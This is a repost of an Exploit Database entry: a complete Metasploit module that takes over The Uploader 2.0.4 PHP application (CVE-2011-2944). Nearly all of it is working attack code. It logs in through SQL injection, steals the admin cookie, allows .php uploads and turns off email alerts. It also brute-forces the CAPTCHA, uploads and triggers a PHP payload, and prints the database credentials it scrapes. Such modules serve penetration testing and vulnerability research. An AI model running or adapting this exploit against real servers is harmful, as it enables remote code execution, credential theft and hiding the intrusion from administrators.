The Uploader 2.0.4 (English/Italian) – Arbitrary File Upload / Remote Code Execution (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Danny Moules
  日期： 2012-02-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18518/

• require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'				=> 'The Uploader 2.0.4 (Eng/Ita) Remote File Upload',
  			'Description'=> %q{
  					This module exploits various flaws in The Uploader to upload a PHP payload
  					to target system. When run with defaults it will search possible URIs for
  					the application and exploit it automatically. Works against both English
  					and Italian language versions. Notably it disables pre-emptive email warnings
  					before uploading the payload, though it leaves log cleanup as a
  					post-exploitation task.
  			},
  			'Author'			=> [ 'Danny Moules' ],
  			'References' 	=>
  				[
  					[ 'URL', 'http://sourceforge.net/projects/theuploader' ],
  					[ 'CVE', '2011-2944' ],
  				],
  			'Privileged'		=> false,
  			'Payload'	=>
  				{
  					'DisableNops'	=> true,
  					'Keys'=> ['php'],
  				},
  			'License'			=> MSF_LICENSE,
  			'Platform'			=> 'php',
  			'Arch'				=> ARCH_PHP,
  			'Targets'			=> [[ 'Automatic', { }]],
  			'DefaultTarget' 	=> 0,
  			'DisclosureDate' 	=> 'Feb 23 2012',
  		))
  
  		register_options([
  			Opt::RHOST,
  			Opt::RPORT(80),
  			OptString.new(
  				'URI',
  				[ true, 'Path of application root (default will try common targets)', '/' ]
  			),
  			OptInt.new(
  				'CRACKATTEMPTS',
  				[ true, 'Brute force attempts, if required, to crack CAPTCHA', 200 ]
  			),
  			OptBool.new(
  				'VERBOSE',
  				[ true, 'Verbose output', true ]
  			),
  		], self.class)
  	end
  
  	def get_strings(lang)
  		if lang == "Eng"
  			strings = {
  				"sqlisuccess" => /Log-In has been done successfully/,
  				"whitelistsuccess" => /The extension has been added successfully/,
  				"disablemailsuccess" => /Notification Mail section has been saved successfully/,
  				"changedirsuccess" => /Edit Upload Folder section has been saved successfully/,
  				"captcharequired" => /No result entered/,
  				"uploadsuccess" => /Download Link/,
  				"disablecaptchasuccess" =>
  					/Upload Permissions section has been saved successfully/,
  			}
  		elsif lang == "Ita"
  			strings = {
  				"sqlisuccess" => /stato effettuato con successo/,
  				"whitelistsuccess" => /L'estensione &egrave; stata consentita con successo/,
  				"disablemailsuccess" => /Mail di Notifica &egrave; stata salvata con successo/,
  				"changedirsuccess" =>
  					/Modifica Cartella Upload &egrave; stata salvata con successo/,
  				"captcharequired" => /Non &agrave; stato inserito nessun risultato/,
  				"uploadsuccess" => /Link al download/,
  				"disablecaptchasuccess" => /Permessi Upload &egrave; stata salvata con successo/,
  			}
  		end
  		return strings
  	end
  
  	def exploit
  		#Analyse target
  		analysis = analyse(datastore['URI'])
  		print_status(analysis['status'])
  		strings = get_strings(analysis['lang'])
  		unless analysis['uri'].nil?
  			datastore['URI'] = analysis['uri']
  		end
  
  		#Attempt SQLi - Gets the 'first' valid admin account
  		data = "username=' OR activated=1-- a"
  		data << "&password=a"
  		data << "&login=Log-IN"
  
  		res = send_and_verify(
  			datastore['URI'] + "login.php",
  			"POST",
  			"application/x-www-form-urlencoded",
  			"",
  			data,
  			"SQL injection",
  			strings['sqlisuccess']
  		)
  
  		#Get cookies
  		unless res.headers.include?('Set-Cookie')
  			raise RuntimeError.new("Nobody gave us a cookie =( SQLi failed")
  		end
  		choc_chip = res.headers['Set-Cookie']
  		if datastore["VERBOSE"]
  			print_good("I stole the cookie from the cookie jar: #{choc_chip}")
  		end
  
  		#Optionally, analyse configuration
  		if datastore["VERBOSE"]
  			begin
  				config = analyse_config(strings, choc_chip)
  				print_status("INFO: Database host is #{config['db_host']}")
  				print_status("INFO: Database username is #{config['db_user']}")
  				print_status("INFO: Database password is #{config['db_pass']}")
  				print_status("INFO: Database name is #{config['db_name']}")
  				print_status("INFO: Admin log is #{config['admin_log']}")
  			rescue ::Exception => e
  				err = "Non-fatal error. Failed to analyse configuration: "
  				err << "#{e.class.to_s} #{e.to_s}"
  				print_error(err)
  			end
  		end
  
  		#Whitelist .php extensions for upload
  		res = send_and_verify(
  			datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=extensionadd",
  			"POST",
  			"application/x-www-form-urlencoded",
  			choc_chip,
  			"allowed_ext=php",
  			"Whitelisting .php extensions",
  			strings['whitelistsuccess']
  		)
  
  		# Disable email reporting
  		res = send_and_verify(
  			datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=mail",
  			"POST",
  			"application/x-www-form-urlencoded",
  			choc_chip,
  			"upload_email=0",
  			"Disabling email reporting",
  			strings['disablemailsuccess']
  		)
  
  		# Change upload location to suit us
  		data = "upload_directory="
  		data << "&upload_full="
  		data << datastore['RHOST']
  		data << datastore['URI']
  
  		res = send_and_verify(
  			datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=uploaddir",
  			"POST",
  			"application/x-www-form-urlencoded",
  			choc_chip,
  			data,
  			"Changing upload directory to application root",
  			strings['changedirsuccess']
  		)
  
  		#Disable CAPTCHA on upload (non-fatal)
  		begin
  			res = send_and_verify(
  				datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=captcha",
  				"POST",
  				"application/x-www-form-urlencoded",
  				choc_chip,
  				"captcha_upload=0",
  				"Disabling CAPTCHA on upload",
  				strings['disablecaptchasuccess']
  			)
  		rescue ::Exception
  			print_error("Disabling CAPTCHA on upload failed. Will use cracker if necessary.")
  		end
  
  		#Upload PHP payload
  		upload_uri = "ajax/upload.php"
  		filename = "#{rand_text_alphanumeric(8)}.php"
  		boundary = rand_text_alphanumeric(8)
  		data = %Q{
  --#{boundary}
  Content-Disposition: form-data; name="upfile_1"; filename="#{filename}"
  Content-Type: text/plain
  
  <?php #{payload.encoded} ?>
  --#{boundary}
  		}
  
  		res = send_request_raw({
  			'uri'		=>datastore['URI'] + upload_uri,
  			'method'	=> 'POST',
  			'data'		=> data + '--',
  			'headers'	=>
  				{
  					'Cookie' 		=> choc_chip,
  					'Content-Type' 		=> 'multipart/form-data; boundary=' + boundary,
  					'Content-Length' 	=> data.length + 2,
  				},
  		}, 20)
  
  		#Verify response
  		if res.code != 200
  			raise RuntimeError.new("Uploading payload failed (HTTP code #{res.code.to_s})")
  		end
  
  		# If failure due to CAPTCHA, crack that...
  		if res.body =~ strings['captcharequired']
  			crack_captcha(data, choc_chip, boundary, upload_uri, strings)
  		else
  			if res.body =~ strings['uploadsuccess']
  				if datastore["VERBOSE"]
  					print_good("Uploading payload succeeded, triggering...")
  				end
  			else
  				err = "Response doesn't look right."
  				err << " Uploading payload probably failed (will continue anyway)"
  				print_error(err)
  			end
  		end
  
  		#Attempt to trigger payload
  		res = send_request_cgi({
  			'uri'		=>datastore['URI'] + filename,
  			'method'	=> 'GET',
  			'headers'	=>
  				{
  					'Cookie' => choc_chip,
  				},
  		}, 5)
  
  		#Verify response
  		if res and res.code != 200
  			err = "Triggering payload (/#{filename}) failed "
  			err << "(HTTP code #{res.code.to_s})"
  			raise RuntimeError.new(err)
  		else
  			print_good("Triggering payload (/#{filename}) successful")
  		end
  	end
  
  	def crack_captcha(data, choc_chip, boundary, upload_uri, strings)
  		captcha_failed = true
  		print_status("CAPTCHA is enabled. Transforming into brute-force CAPTCHA cracker *ping*")
  
  		crack_data = %Q{
  #{data}
  Content-Disposition: form-data; name="result"
  
  0
  --#{boundary}
  		}
  
  		patience = datastore['CRACKATTEMPTS']
  		for i in (1..patience)
  
  			#First visit index page to trigger CAPTCHA reset
  			res = send_request_cgi({
  			'uri'		=>datastore['URI'] + "index.php",
  			'method'	=> 'GET',
  			'headers'	=>
  				{
  					'Cookie' => choc_chip
  				},
  			}, 20)
  
  			#Now try CAPTCHA with result 0. It'll happen eventually (1/30ish chance).
  			#Maths-based CAPTCHAs are educational kids!
  			res = send_request_raw({
  				'uri'		=>datastore['URI'] + upload_uri,
  				'method'	=> 'POST',
  				'data'		=> crack_data + '--',
  				'headers'	=>
  					{
  						'Cookie' 			=> choc_chip,
  						'Content-Type' 		=> 'multipart/form-data; boundary=' + boundary,
  						'Content-Length' 	=> crack_data.length + 2,
  					},
  			}, 20)
  
  			if res.body =~ strings['uploadsuccess']
  				captcha_failed = false
  				break
  			end
  		end
  
  		if captcha_failed
  			err = "Could not break CAPTCHA in #{patience.to_s} iterations."
  			err << " You might have luck retrying."
  			raise RuntimeError.new(err)
  		else
  			print_good("CAPTCHA broken. Transforming back into a mild-mannered exploit *ping*")
  		end
  	end
  
  	def send_and_verify(uri, method, ctype, cookie, data, intent, check)
  		res = send_request_raw({
  			'uri'		=> uri,
  			'method'	=> method,
  			'data'		=> data,
  			'headers'	=>
  				{
  					'Cookie'			=> cookie,
  					'Content-Type'		=> ctype,
  					'Content-Length' 	=> data.length,
  				},
  		}, 20)
  
  		#Verify response
  		if res.code != 200
  			raise RuntimeError.new("#{intent} failed (HTTP code #{res.code.to_s})")
  		end
  		unless res.body =~ check
  			raise RuntimeError.new("Response doesn't look right. #{intent} probably failed")
  		end
  
  		if datastore["VERBOSE"]
  			print_good("#{intent} succeeded")
  		end
  
  		return res
  	end
  
  	def analyse(uri_set)
  		code = nil
  		found_uri = nil
  		status = "Unknown state"
  		lang = "Eng"
  
  		unless uri_set =~ /\/$/ then
  			uri_set = "#{uri_set}/"
  			print_status("URI automatically changed to #{uri_set}")
  		end
  
  		unless uri_set =~ /^\// then
  			uri_set = "/#{uri_set}"
  			print_status("URI automatically changed to #{uri_set}")
  		end
  
  		if uri_set == "/" then
  			uris = [ "/", "/upload/", "/uploader/", "/theuploader/",
  				"/the_uploader/", "/The%20Uploader/",
  				"/The%20Uploader%202.0.4%20-%20Eng/", "/The%20Uploader%202.0.4%20-%20Ita/"
  			]
  		else
  			uris = [ uri_set ]
  		end
  
  		uris.each do |uri|
  			res = send_request_cgi({
  				'uri'		=>uri + "index.php",
  				'method'	=> 'GET',
  			}, 20)
  
  			if res and res.code == 200
  				if res.body =~ /The Uploader 2\.0/
  					status = "2.0.* version found at #{uri}"
  					code = Exploit::CheckCode::Vulnerable
  					found_uri = uri
  				elsif res.body =~ /The Uploader/
  					status = "Detected unknown version at #{uri}"
  					code = Exploit::CheckCode::Detected
  					found_uri = uri
  				end
  
  				unless found_uri.nil?
  					#Set appropriate language
  					if res.body =~ /Sezione Upload/
  						lang = "Ita"
  					end
  
  					http_fingerprint({ :response => res })
  					break
  				end
  			end
  		end
  
  		if found_uri.nil?
  			if uri_set == "/"
  				status = "Could not find the web site automatically. Enter URI manually?"
  			else
  				status = "Could not find the web site."
  				status << " Use the default URI to search for the web site automatically"
  			end
  			code = Exploit::CheckCode::Safe
  		end
  
  		return { "code" => code, "uri" => found_uri, "lang" => lang, "status" => status }
  	end
  
  	def analyse_config(strings, cookie)
  		#Acquire the database details
  		res = send_request_cgi({
  			'uri'		=>datastore['URI'] + "admin.php?section=upload&category=server",
  			'method'	=> 'GET',
  			'headers'	=>
  				{
  					'Cookie'	=> cookie
  				},
  		}, 20)
  		unless res and res.code == 200
  			raise RuntimeError.new("Acquiring database details failed")
  		end
  		r = /<input[^>]*name="host"[^>]*value="([^"]*)".*\/>/
  		db_host = r.match(res.body)[1]
  		r = /<input[^>]*name="user"[^>]*value="([^"]*)".*\/>/
  		db_user = r.match(res.body)[1]
  		r = /<input[^>]*name="pass"[^>]*value="([^"]*)".*\/>/
  		db_pass = r.match(res.body)[1]
  		r = /<input[^>]*name="dbnm"[^>]*value="([^"]*)".*\/>/
  		db_name = r.match(res.body)[1]
  
  		#Acquire the admin log details
  		res = send_request_cgi({
  			'uri'		=>datastore['URI'] + "admin.php?section=admin&category=admin_log",
  			'method'	=> 'GET',
  			'headers'	=>
  				{
  					'Cookie'	=> cookie
  				},
  		}, 20)
  		unless res and res.code == 200
  			raise RuntimeError.new("Acquiring admin log details failed")
  		end
  		r = /<input[^>]*name="admin_log"[^>]*checked.*\/>/
  		if r.match(res.body)
  			admin_log = "active"
  		else
  			admin_log = "inactive"
  		end
  
  		return {
  			"db_host" => db_host, "db_user" => db_user, "db_pass" => db_pass,
  			"db_name" => db_name, "admin_log" => admin_log,
  		}
  	end
  
  	def check
  		analysis = analyse("/")
  		print_status(analysis['status'])
  		return analysis['code']
  	end
  end